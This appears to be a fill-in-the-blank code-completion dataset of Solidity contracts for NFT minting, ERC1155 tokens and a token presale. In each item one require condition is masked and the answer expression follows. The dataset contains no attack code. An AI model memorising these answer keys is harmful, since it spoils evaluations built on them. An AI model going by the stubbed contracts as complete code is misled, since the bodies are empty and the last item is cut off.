function mint(address[] memory to, string memory baseUri, string memory suffix, uint256 startingTokenId) public onlyRole(MINTER_ROLE) {
require(<FILL_ME>)
_currentUriIndex += 1;
_baseUriMap[_currentUriIndex] = BaseUri(baseUri, suffix);
for (uint256 i = 0; i < to.length; i++) {
_currentTokenIndex += 1;
_mint(to[i], _currentTokenIndex);
_tokenUriMap[_currentTokenIndex] = _currentUriIndex;
}
}
/// @notice Overrides the ERC721 transferFrom function to add NTT functionality.
/// @notice NTT transfers require approval from Bitwave & the owner of the NTT.
/// @param from address of the sender
/// @param to address of the recipient
/// @param tokenId the id of the token to be transferred
function transferFrom(
address from,
address to,
uint256 tokenId
) public onlyRole(DEFAULT_ADMIN_ROLE) virtual override {
}
/// @notice Transfers a token to a new owner. This function is called by the owner of the contract.
/// @param from the address of the current owners of the token.
/// @param to the address of the new owner of the token.
/// @param tokenId the id of the token to be transfered.
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public onlyRole(DEFAULT_ADMIN_ROLE) virtual override {
}
/// @notice Transfers a token to a new owner. This function is called by the owner of the contract.
/// @param from the address of the current owners of the token.
/// @param to the address of the new owner of the token.
/// @param tokenId the id of the token to be transfered.
/// @param data additional data to be sent with the transfer.
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory data
) public onlyRole(DEFAULT_ADMIN_ROLE) virtual override {
}
/// @notice Transfers a token to a new owner. This function is called by the admin of the contract.
/// @param _to the address of the new owner of the token.
/// @param _tokenId the id of the token to be transfered.
function approve(address _to, uint256 _tokenId) public onlyRole(DEFAULT_ADMIN_ROLE) virtual override {
}
/// @notice Burns a token. This function is called by the admin of the contract.
/// @param _tokenId the id of the token to be burnt.
function burn(uint256 _tokenId) public onlyRole(DEFAULT_ADMIN_ROLE) {
}
/// @notice returns the URI of the image associated with the token.
/// @param tokenId the id of the token to be queried.
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// @notice override function required by solidity.
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, AccessControl)
returns (bool)
{
}
}
| _currentTokenIndex+1==startingTokenId,"expectedTokenId does not match _currentTokenIndex" | 121,502 | _currentTokenIndex+1==startingTokenId |
"max buy limit reached" | //SPDX-License-Identifier: MIT Licensed
pragma solidity ^0.8.10;
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 value) external;
function transfer(address to, uint256 value) external;
function transferFrom(address from, address to, uint256 value) external;
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
function getRoundData(
uint80 _roundId
)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
contract Cogwise_Presale {
IERC20 public Token;
IERC20 public USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
AggregatorV3Interface public priceFeeD;
address payable public owner;
uint256 public tokenPerUsd = 100 ether;
uint256 public totalUsers;
uint256 public soldToken;
uint256 public totalSupply = 400_000_000 ether;
uint256 public minimumBuyInUsdt = 1 * 1e6;
uint256 public minimumBuyInEth = 0.00054 ether;
uint256 public maximumBuy = 3000000 ether;
uint256 public amountRaised;
uint256 public amountRaisedETHUSDT;
uint256 public amountRaisedUSDT;
address payable public fundReceiver;
uint256 public presalePhase;
uint256 public constant divider = 100;
bool public presaleStatus;
bool public enableClaim;
struct user {
uint256 native_balance;
uint256 eth_usdt_balance;
uint256 usdt_balance;
uint256 token_balance;
uint256 token_bonus;
uint256 claimed_token;
}
struct bonus {
uint256 token_bonus;
uint256 claimed_bonus;
uint256 level;
}
mapping(address => bonus) public Bonus;
mapping(address => user) public users;
mapping(address => uint256) public wallets;
modifier onlyOwner() {
}
event BuyToken(address indexed _user, uint256 indexed _amount);
event ClaimToken(address indexed _user, uint256 indexed _amount);
event ClaimBonus(address indexed _user, uint256 indexed _amount);
event UpdatePrice(uint256 _oldPrice, uint256 _newPrice);
event UpdateBonusValue(uint256 _oldValue, uint256 _newValue);
event UpdateRefPercent(uint256 _oldPercent, uint256 _newPercent);
event UpdateMinPurchase(
uint256 _oldMinNative,
uint256 _newMinNative,
uint256 _oldMinUsdt,
uint256 _newMinUsdt
);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor(address _feeReceiver) {
}
receive() external payable {}
// to get real time price of Eth
function getLatestPrice() public view returns (uint256) {
}
// to buy token during preSale time with Eth => for web3 use
function buyToken() public payable {
require(presaleStatus, "Presale : Presale is finished");
require(
msg.value >= minimumBuyInEth,
"amount should be greater than minimum buy"
);
require(soldToken <= totalSupply, "All Sold");
uint256 numberOfTokens;
numberOfTokens = nativeToToken(msg.value);
soldToken = soldToken + (numberOfTokens);
amountRaised = amountRaised + (msg.value);
uint256 equivalentUSDT = (msg.value * (getLatestPrice())) / (1 ether);
amountRaisedETHUSDT += equivalentUSDT;
users[msg.sender].eth_usdt_balance += equivalentUSDT;
users[msg.sender].native_balance += msg.value;
users[msg.sender].token_balance += numberOfTokens;
require(<FILL_ME>)
addUserBonus(users[msg.sender].token_balance, msg.sender);
}
// to buy token during preSale time with USDT => for web3 use
function buyTokenUSDT(uint256 amount) public {
}
function addUserBonus(uint256 currentUsrTokens, address _user) internal {
}
// Claim bought tokens
function claimTokens() external {
}
// Claim bonus tokens
function claimBonus() external {
}
function EnableClaim(bool _state) external onlyOwner {
}
function stopPresale(bool _off) external onlyOwner {
}
function whitelistUsers(
address[] memory _usrs,
uint256[] memory _amounts,
uint256[] memory _usdtValue
) external onlyOwner {
}
function setMinimumBuyInUsdt(uint256 _minimumBuyInUsdt) external onlyOwner {
}
function setMinimumBuyInEth(uint256 _minimumBuyInEth) external onlyOwner {
}
function setMaxTokenBuy(uint256 _maxokens) external onlyOwner {
}
// to check number of token for given Eth
function nativeToToken(uint256 _amount) public view returns (uint256) {
}
// to check number of token for given usdt
function usdtToToken(uint256 _amount) public view returns (uint256) {
}
// to change Price of the token
function changePrice(
uint256 _price,
uint256 _presalePhase
) external onlyOwner {
}
// transfer ownership
function changeOwner(address payable _newOwner) external onlyOwner {
}
// change tokens
function changeToken(address _token) external onlyOwner {
}
//change USDT
function changeUSDT(address _USDT) external onlyOwner {
}
// to draw funds for liquidity
function transferFunds(uint256 _value) external onlyOwner {
}
// to draw out tokens
function transferTokens(IERC20 token, uint256 _value) external onlyOwner {
}
}
| users[msg.sender].token_balance<=maximumBuy,"max buy limit reached" | 121,511 | users[msg.sender].token_balance<=maximumBuy |
"Presale: 0 to claim" | //SPDX-License-Identifier: MIT Licensed
pragma solidity ^0.8.10;
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 value) external;
function transfer(address to, uint256 value) external;
function transferFrom(address from, address to, uint256 value) external;
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
function getRoundData(
uint80 _roundId
)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
contract Cogwise_Presale {
IERC20 public Token;
IERC20 public USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
AggregatorV3Interface public priceFeeD;
address payable public owner;
uint256 public tokenPerUsd = 100 ether;
uint256 public totalUsers;
uint256 public soldToken;
uint256 public totalSupply = 400_000_000 ether;
uint256 public minimumBuyInUsdt = 1 * 1e6;
uint256 public minimumBuyInEth = 0.00054 ether;
uint256 public maximumBuy = 3000000 ether;
uint256 public amountRaised;
uint256 public amountRaisedETHUSDT;
uint256 public amountRaisedUSDT;
address payable public fundReceiver;
uint256 public presalePhase;
uint256 public constant divider = 100;
bool public presaleStatus;
bool public enableClaim;
struct user {
uint256 native_balance;
uint256 eth_usdt_balance;
uint256 usdt_balance;
uint256 token_balance;
uint256 token_bonus;
uint256 claimed_token;
}
struct bonus {
uint256 token_bonus;
uint256 claimed_bonus;
uint256 level;
}
mapping(address => bonus) public Bonus;
mapping(address => user) public users;
mapping(address => uint256) public wallets;
modifier onlyOwner() {
}
event BuyToken(address indexed _user, uint256 indexed _amount);
event ClaimToken(address indexed _user, uint256 indexed _amount);
event ClaimBonus(address indexed _user, uint256 indexed _amount);
event UpdatePrice(uint256 _oldPrice, uint256 _newPrice);
event UpdateBonusValue(uint256 _oldValue, uint256 _newValue);
event UpdateRefPercent(uint256 _oldPercent, uint256 _newPercent);
event UpdateMinPurchase(
uint256 _oldMinNative,
uint256 _newMinNative,
uint256 _oldMinUsdt,
uint256 _newMinUsdt
);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor(address _feeReceiver) {
}
receive() external payable {}
// to get real time price of Eth
function getLatestPrice() public view returns (uint256) {
}
// to buy token during preSale time with Eth => for web3 use
function buyToken() public payable {
}
// to buy token during preSale time with USDT => for web3 use
function buyTokenUSDT(uint256 amount) public {
}
function addUserBonus(uint256 currentUsrTokens, address _user) internal {
}
// Claim bought tokens
function claimTokens() external {
require(enableClaim == true, "Presale : Claim not active yet");
require(<FILL_ME>)
user storage _usr = users[msg.sender];
Token.transfer(msg.sender, _usr.token_balance);
_usr.claimed_token += _usr.token_balance;
_usr.token_balance -= _usr.token_balance;
emit ClaimToken(msg.sender, _usr.token_balance);
}
// Claim bonus tokens
function claimBonus() external {
}
function EnableClaim(bool _state) external onlyOwner {
}
function stopPresale(bool _off) external onlyOwner {
}
function whitelistUsers(
address[] memory _usrs,
uint256[] memory _amounts,
uint256[] memory _usdtValue
) external onlyOwner {
}
function setMinimumBuyInUsdt(uint256 _minimumBuyInUsdt) external onlyOwner {
}
function setMinimumBuyInEth(uint256 _minimumBuyInEth) external onlyOwner {
}
function setMaxTokenBuy(uint256 _maxokens) external onlyOwner {
}
// to check number of token for given Eth
function nativeToToken(uint256 _amount) public view returns (uint256) {
}
// to check number of token for given usdt
function usdtToToken(uint256 _amount) public view returns (uint256) {
}
// to change Price of the token
function changePrice(
uint256 _price,
uint256 _presalePhase
) external onlyOwner {
}
// transfer ownership
function changeOwner(address payable _newOwner) external onlyOwner {
}
// change tokens
function changeToken(address _token) external onlyOwner {
}
//change USDT
function changeUSDT(address _USDT) external onlyOwner {
}
// to draw funds for liquidity
function transferFunds(uint256 _value) external onlyOwner {
}
// to draw out tokens
function transferTokens(IERC20 token, uint256 _value) external onlyOwner {
}
}
| users[msg.sender].token_balance!=0,"Presale: 0 to claim" | 121,511 | users[msg.sender].token_balance!=0 |
"Presale: 0 to claim" | //SPDX-License-Identifier: MIT Licensed
pragma solidity ^0.8.10;
interface IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint256);
function balanceOf(address owner) external view returns (uint256);
function allowance(
address owner,
address spender
) external view returns (uint256);
function approve(address spender, uint256 value) external;
function transfer(address to, uint256 value) external;
function transferFrom(address from, address to, uint256 value) external;
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(address indexed from, address indexed to, uint256 value);
}
interface AggregatorV3Interface {
function decimals() external view returns (uint8);
function description() external view returns (string memory);
function version() external view returns (uint256);
function getRoundData(
uint80 _roundId
)
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
function latestRoundData()
external
view
returns (
uint80 roundId,
int256 answer,
uint256 startedAt,
uint256 updatedAt,
uint80 answeredInRound
);
}
contract Cogwise_Presale {
IERC20 public Token;
IERC20 public USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
AggregatorV3Interface public priceFeeD;
address payable public owner;
uint256 public tokenPerUsd = 100 ether;
uint256 public totalUsers;
uint256 public soldToken;
uint256 public totalSupply = 400_000_000 ether;
uint256 public minimumBuyInUsdt = 1 * 1e6;
uint256 public minimumBuyInEth = 0.00054 ether;
uint256 public maximumBuy = 3000000 ether;
uint256 public amountRaised;
uint256 public amountRaisedETHUSDT;
uint256 public amountRaisedUSDT;
address payable public fundReceiver;
uint256 public presalePhase;
uint256 public constant divider = 100;
bool public presaleStatus;
bool public enableClaim;
struct user {
uint256 native_balance;
uint256 eth_usdt_balance;
uint256 usdt_balance;
uint256 token_balance;
uint256 token_bonus;
uint256 claimed_token;
}
struct bonus {
uint256 token_bonus;
uint256 claimed_bonus;
uint256 level;
}
mapping(address => bonus) public Bonus;
mapping(address => user) public users;
mapping(address => uint256) public wallets;
modifier onlyOwner() {
}
event BuyToken(address indexed _user, uint256 indexed _amount);
event ClaimToken(address indexed _user, uint256 indexed _amount);
event ClaimBonus(address indexed _user, uint256 indexed _amount);
event UpdatePrice(uint256 _oldPrice, uint256 _newPrice);
event UpdateBonusValue(uint256 _oldValue, uint256 _newValue);
event UpdateRefPercent(uint256 _oldPercent, uint256 _newPercent);
event UpdateMinPurchase(
uint256 _oldMinNative,
uint256 _newMinNative,
uint256 _oldMinUsdt,
uint256 _newMinUsdt
);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor(address _feeReceiver) {
}
receive() external payable {}
// to get real time price of Eth
function getLatestPrice() public view returns (uint256) {
}
// to buy token during preSale time with Eth => for web3 use
function buyToken() public payable {
}
// to buy token during preSale time with USDT => for web3 use
function buyTokenUSDT(uint256 amount) public {
}
function addUserBonus(uint256 currentUsrTokens, address _user) internal {
}
// Claim bought tokens
function claimTokens() external {
}
// Claim bonus tokens
function claimBonus() external {
require(enableClaim == true, "Presale : Claim not active yet");
require(<FILL_ME>)
bonus storage _usr = Bonus[msg.sender];
Token.transfer(msg.sender, _usr.token_bonus);
_usr.claimed_bonus += _usr.token_bonus;
_usr.token_bonus -= _usr.token_bonus;
emit ClaimBonus(msg.sender, _usr.token_bonus);
}
function EnableClaim(bool _state) external onlyOwner {
}
function stopPresale(bool _off) external onlyOwner {
}
function whitelistUsers(
address[] memory _usrs,
uint256[] memory _amounts,
uint256[] memory _usdtValue
) external onlyOwner {
}
function setMinimumBuyInUsdt(uint256 _minimumBuyInUsdt) external onlyOwner {
}
function setMinimumBuyInEth(uint256 _minimumBuyInEth) external onlyOwner {
}
function setMaxTokenBuy(uint256 _maxokens) external onlyOwner {
}
// to check number of token for given Eth
function nativeToToken(uint256 _amount) public view returns (uint256) {
}
// to check number of token for given usdt
function usdtToToken(uint256 _amount) public view returns (uint256) {
}
// to change Price of the token
function changePrice(
uint256 _price,
uint256 _presalePhase
) external onlyOwner {
}
// transfer ownership
function changeOwner(address payable _newOwner) external onlyOwner {
}
// change tokens
function changeToken(address _token) external onlyOwner {
}
//change USDT
function changeUSDT(address _USDT) external onlyOwner {
}
// to draw funds for liquidity
function transferFunds(uint256 _value) external onlyOwner {
}
// to draw out tokens
function transferTokens(IERC20 token, uint256 _value) external onlyOwner {
}
}
| Bonus[msg.sender].token_bonus!=0,"Presale: 0 to claim" | 121,511 | Bonus[msg.sender].token_bonus!=0 |
"ERC1155: Sale is not active" | // SPDX-License-Identifier: BSD-3-Clause
pragma solidity ^0.8.0;
/****************************************
* @author: squeebo_nft *
****************************************/
import '@openzeppelin/contracts/token/ERC1155/ERC1155.sol';
import './Delegated.sol';
contract ERC1155Base is Delegated, ERC1155 {
struct Token{
uint burnPrice;
uint mintPrice;
uint balance;
uint supply;
bool isBurnActive;
bool isMintActive;
string name;
string uri;
//mapping(string => string) metadata;
}
string public name;
string public symbol;
Token[] public tokens;
constructor( string memory name_, string memory symbol_ )
Delegated()
ERC1155(""){
}
//external
receive() external payable {}
function exists(uint id) public view returns (bool) {
}
function tokenSupply( uint id ) external view returns( uint ){
}
function totalSupply( uint id ) external view returns( uint ){
}
function uri( uint id ) public view override returns( string memory ){
}
//payable
function burn( uint id, uint quantity ) external payable{
require( exists( id ), "ERC1155: Specified token (id) does not exist" );
Token storage token = tokens[id];
require(<FILL_ME>)
require( msg.value >= token.burnPrice * quantity, "ERC1155: Ether sent is not correct" );
_burn( _msgSender(), id, quantity );
}
function mint( uint id, uint quantity ) external virtual payable{
}
//delegated
function burnFrom( address account, uint[] calldata ids, uint[] calldata quantities ) external payable onlyDelegates {
}
function mintTo( address[] calldata accounts, uint[] calldata ids, uint[] calldata quantities ) external payable onlyDelegates {
}
function setToken(uint id, string memory name_, string memory uri_, uint supply,
bool isBurnActive, uint burnPrice,
bool isMintActive, uint mintPrice ) public onlyDelegates{
}
/*
function setMetadata(uint id, string[] calldata keys, string[] calldata values ) external onlyDelegates{
require( exists( id ), "ERC1155: Specified token (id) does not exist" );
require( keys.length == values.length, "ERC1155: Must provide equal keys and values" );
Token storage token = tokens[id];
for( uint i; i < keys.length; ++i ){
token.metadata[ keys[i] ] = values[i];
}
}
*/
function setSupply(uint id, uint supply) public onlyDelegates {
}
function setURI(uint id, string calldata uri_) external onlyDelegates{
}
//internal
function _burn(address account, uint256 id, uint256 amount) internal virtual override {
}
function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal override {
}
}
| token.isBurnActive,"ERC1155: Sale is not active" | 121,602 | token.isBurnActive |
"ERC1155: Sale is not active" | // SPDX-License-Identifier: BSD-3-Clause
pragma solidity ^0.8.0;
/****************************************
* @author: squeebo_nft *
****************************************/
import '@openzeppelin/contracts/token/ERC1155/ERC1155.sol';
import './Delegated.sol';
contract ERC1155Base is Delegated, ERC1155 {
struct Token{
uint burnPrice;
uint mintPrice;
uint balance;
uint supply;
bool isBurnActive;
bool isMintActive;
string name;
string uri;
//mapping(string => string) metadata;
}
string public name;
string public symbol;
Token[] public tokens;
constructor( string memory name_, string memory symbol_ )
Delegated()
ERC1155(""){
}
//external
receive() external payable {}
function exists(uint id) public view returns (bool) {
}
function tokenSupply( uint id ) external view returns( uint ){
}
function totalSupply( uint id ) external view returns( uint ){
}
function uri( uint id ) public view override returns( string memory ){
}
//payable
function burn( uint id, uint quantity ) external payable{
}
function mint( uint id, uint quantity ) external virtual payable{
require( exists( id ), "ERC1155: Specified token (id) does not exist" );
Token storage token = tokens[id];
require(<FILL_ME>)
require( msg.value >= token.mintPrice * quantity, "ERC1155: Ether sent is not correct" );
_mint( _msgSender(), id, quantity, "" );
}
//delegated
function burnFrom( address account, uint[] calldata ids, uint[] calldata quantities ) external payable onlyDelegates {
}
function mintTo( address[] calldata accounts, uint[] calldata ids, uint[] calldata quantities ) external payable onlyDelegates {
}
function setToken(uint id, string memory name_, string memory uri_, uint supply,
bool isBurnActive, uint burnPrice,
bool isMintActive, uint mintPrice ) public onlyDelegates{
}
/*
function setMetadata(uint id, string[] calldata keys, string[] calldata values ) external onlyDelegates{
require( exists( id ), "ERC1155: Specified token (id) does not exist" );
require( keys.length == values.length, "ERC1155: Must provide equal keys and values" );
Token storage token = tokens[id];
for( uint i; i < keys.length; ++i ){
token.metadata[ keys[i] ] = values[i];
}
}
*/
function setSupply(uint id, uint supply) public onlyDelegates {
}
function setURI(uint id, string calldata uri_) external onlyDelegates{
}
//internal
function _burn(address account, uint256 id, uint256 amount) internal virtual override {
}
function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal override {
}
}
| token.isMintActive,"ERC1155: Sale is not active" | 121,602 | token.isMintActive |
"ERC1155: Not enough supply" | // SPDX-License-Identifier: BSD-3-Clause
pragma solidity ^0.8.0;
/****************************************
* @author: squeebo_nft *
****************************************/
import '@openzeppelin/contracts/token/ERC1155/ERC1155.sol';
import './Delegated.sol';
contract ERC1155Base is Delegated, ERC1155 {
struct Token{
uint burnPrice;
uint mintPrice;
uint balance;
uint supply;
bool isBurnActive;
bool isMintActive;
string name;
string uri;
//mapping(string => string) metadata;
}
string public name;
string public symbol;
Token[] public tokens;
constructor( string memory name_, string memory symbol_ )
Delegated()
ERC1155(""){
}
//external
receive() external payable {}
function exists(uint id) public view returns (bool) {
}
function tokenSupply( uint id ) external view returns( uint ){
}
function totalSupply( uint id ) external view returns( uint ){
}
function uri( uint id ) public view override returns( string memory ){
}
//payable
function burn( uint id, uint quantity ) external payable{
}
function mint( uint id, uint quantity ) external virtual payable{
}
//delegated
function burnFrom( address account, uint[] calldata ids, uint[] calldata quantities ) external payable onlyDelegates {
}
function mintTo( address[] calldata accounts, uint[] calldata ids, uint[] calldata quantities ) external payable onlyDelegates {
}
function setToken(uint id, string memory name_, string memory uri_, uint supply,
bool isBurnActive, uint burnPrice,
bool isMintActive, uint mintPrice ) public onlyDelegates{
}
/*
function setMetadata(uint id, string[] calldata keys, string[] calldata values ) external onlyDelegates{
require( exists( id ), "ERC1155: Specified token (id) does not exist" );
require( keys.length == values.length, "ERC1155: Must provide equal keys and values" );
Token storage token = tokens[id];
for( uint i; i < keys.length; ++i ){
token.metadata[ keys[i] ] = values[i];
}
}
*/
function setSupply(uint id, uint supply) public onlyDelegates {
}
function setURI(uint id, string calldata uri_) external onlyDelegates{
}
//internal
function _burn(address account, uint256 id, uint256 amount) internal virtual override {
}
function _mint(address account, uint256 id, uint256 amount, bytes memory data) internal override {
require( exists( id ), "ERC1155: Specified token (id) does not exist" );
Token storage token = tokens[id];
require(<FILL_ME>)
token.balance += amount;
super._mint( account, id, amount, data );
}
}
| token.balance+amount<=token.supply,"ERC1155: Not enough supply" | 121,602 | token.balance+amount<=token.supply |
"Limit reached" | // SPDX-License-Identifier: MIT
// Created by DegenLabs https://degenlabs.one
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./mocks/ERC721A.sol";
import "./WhitelistV2.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract DorX is ERC721A, Ownable, ReentrancyGuard, WhitelistV2 {
using SafeERC20 for IERC20;
bool public mintStarted = false;
mapping(address => uint256) private minted;
uint256 private constant maxNFTs = 3333;
uint256 private maxCanOwn = 1;
string private URI = "https://api.dorx.wtf/nft/";
constructor(address signatureChecker) ERC721A("DorX", "DorX") WhitelistV2(signatureChecker) {}
function mint() public nonReentrant notOnBlacklist {
require(mintStarted, "Not started");
require(msg.sender == tx.origin);
require(<FILL_ME>)
require(_totalMinted() + 1 <= maxNFTs, "Mint ended");
minted[msg.sender] += 1;
_safeMint(msg.sender, 1);
}
function mintWhitelist(
uint256 nonce,
uint256 amount,
uint16 maxAmount,
bytes memory signature
) public nonReentrant notOnBlacklist {
}
function _baseURI() internal view override returns (string memory) {
}
function mintedTotal() public view returns (uint256) {
}
function totalMintable() public pure returns (uint256) {
}
// ONLY OWNER SECTION
function mintOwner(address _oo, uint256 amount) public onlyOwner {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function setMaxCanOwn(uint256 _mo) external onlyOwner {
}
function startMint() external onlyOwner {
}
function pauseMint() external onlyOwner {
}
function startWhiteListMint() external onlyOwner {
}
function pauseWhiteListMint() external onlyOwner {
}
function removeFromWhiteList(uint256 nonce) external onlyOwner {
}
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| minted[msg.sender]+1<=maxCanOwn,"Limit reached" | 121,632 | minted[msg.sender]+1<=maxCanOwn |
"Mint ended" | // SPDX-License-Identifier: MIT
// Created by DegenLabs https://degenlabs.one
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./mocks/ERC721A.sol";
import "./WhitelistV2.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract DorX is ERC721A, Ownable, ReentrancyGuard, WhitelistV2 {
using SafeERC20 for IERC20;
bool public mintStarted = false;
mapping(address => uint256) private minted;
uint256 private constant maxNFTs = 3333;
uint256 private maxCanOwn = 1;
string private URI = "https://api.dorx.wtf/nft/";
constructor(address signatureChecker) ERC721A("DorX", "DorX") WhitelistV2(signatureChecker) {}
function mint() public nonReentrant notOnBlacklist {
require(mintStarted, "Not started");
require(msg.sender == tx.origin);
require(minted[msg.sender] + 1 <= maxCanOwn, "Limit reached");
require(<FILL_ME>)
minted[msg.sender] += 1;
_safeMint(msg.sender, 1);
}
function mintWhitelist(
uint256 nonce,
uint256 amount,
uint16 maxAmount,
bytes memory signature
) public nonReentrant notOnBlacklist {
}
function _baseURI() internal view override returns (string memory) {
}
function mintedTotal() public view returns (uint256) {
}
function totalMintable() public pure returns (uint256) {
}
// ONLY OWNER SECTION
function mintOwner(address _oo, uint256 amount) public onlyOwner {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function setMaxCanOwn(uint256 _mo) external onlyOwner {
}
function startMint() external onlyOwner {
}
function pauseMint() external onlyOwner {
}
function startWhiteListMint() external onlyOwner {
}
function pauseWhiteListMint() external onlyOwner {
}
function removeFromWhiteList(uint256 nonce) external onlyOwner {
}
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| _totalMinted()+1<=maxNFTs,"Mint ended" | 121,632 | _totalMinted()+1<=maxNFTs |
"Amount over the limit" | // SPDX-License-Identifier: MIT
// Created by DegenLabs https://degenlabs.one
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./mocks/ERC721A.sol";
import "./WhitelistV2.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract DorX is ERC721A, Ownable, ReentrancyGuard, WhitelistV2 {
using SafeERC20 for IERC20;
bool public mintStarted = false;
mapping(address => uint256) private minted;
uint256 private constant maxNFTs = 3333;
uint256 private maxCanOwn = 1;
string private URI = "https://api.dorx.wtf/nft/";
constructor(address signatureChecker) ERC721A("DorX", "DorX") WhitelistV2(signatureChecker) {}
function mint() public nonReentrant notOnBlacklist {
}
function mintWhitelist(
uint256 nonce,
uint256 amount,
uint16 maxAmount,
bytes memory signature
) public nonReentrant notOnBlacklist {
require(msg.sender == tx.origin);
require(amount != 0, "Invalid amount");
require(<FILL_ME>)
require(minted[msg.sender] + amount <= maxAmount, "Over whitelist limit");
_checkWhitelist(msg.sender, maxAmount, nonce, signature);
minted[msg.sender] += amount;
_safeMint(msg.sender, amount);
}
function _baseURI() internal view override returns (string memory) {
}
function mintedTotal() public view returns (uint256) {
}
function totalMintable() public pure returns (uint256) {
}
// ONLY OWNER SECTION
function mintOwner(address _oo, uint256 amount) public onlyOwner {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function setMaxCanOwn(uint256 _mo) external onlyOwner {
}
function startMint() external onlyOwner {
}
function pauseMint() external onlyOwner {
}
function startWhiteListMint() external onlyOwner {
}
function pauseWhiteListMint() external onlyOwner {
}
function removeFromWhiteList(uint256 nonce) external onlyOwner {
}
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| _totalMinted()+amount<=maxNFTs,"Amount over the limit" | 121,632 | _totalMinted()+amount<=maxNFTs |
"Over whitelist limit" | // SPDX-License-Identifier: MIT
// Created by DegenLabs https://degenlabs.one
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./mocks/ERC721A.sol";
import "./WhitelistV2.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract DorX is ERC721A, Ownable, ReentrancyGuard, WhitelistV2 {
using SafeERC20 for IERC20;
bool public mintStarted = false;
mapping(address => uint256) private minted;
uint256 private constant maxNFTs = 3333;
uint256 private maxCanOwn = 1;
string private URI = "https://api.dorx.wtf/nft/";
constructor(address signatureChecker) ERC721A("DorX", "DorX") WhitelistV2(signatureChecker) {}
function mint() public nonReentrant notOnBlacklist {
}
function mintWhitelist(
uint256 nonce,
uint256 amount,
uint16 maxAmount,
bytes memory signature
) public nonReentrant notOnBlacklist {
require(msg.sender == tx.origin);
require(amount != 0, "Invalid amount");
require(_totalMinted() + amount <= maxNFTs, "Amount over the limit");
require(<FILL_ME>)
_checkWhitelist(msg.sender, maxAmount, nonce, signature);
minted[msg.sender] += amount;
_safeMint(msg.sender, amount);
}
function _baseURI() internal view override returns (string memory) {
}
function mintedTotal() public view returns (uint256) {
}
function totalMintable() public pure returns (uint256) {
}
// ONLY OWNER SECTION
function mintOwner(address _oo, uint256 amount) public onlyOwner {
}
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
function setMaxCanOwn(uint256 _mo) external onlyOwner {
}
function startMint() external onlyOwner {
}
function pauseMint() external onlyOwner {
}
function startWhiteListMint() external onlyOwner {
}
function pauseWhiteListMint() external onlyOwner {
}
function removeFromWhiteList(uint256 nonce) external onlyOwner {
}
function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyOwner {
}
function withdraw() public onlyOwner {
}
}
| minted[msg.sender]+amount<=maxAmount,"Over whitelist limit" | 121,632 | minted[msg.sender]+amount<=maxAmount |
"Too many mints for this wallet." | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
import "erc721a/contracts/ERC721A.sol";
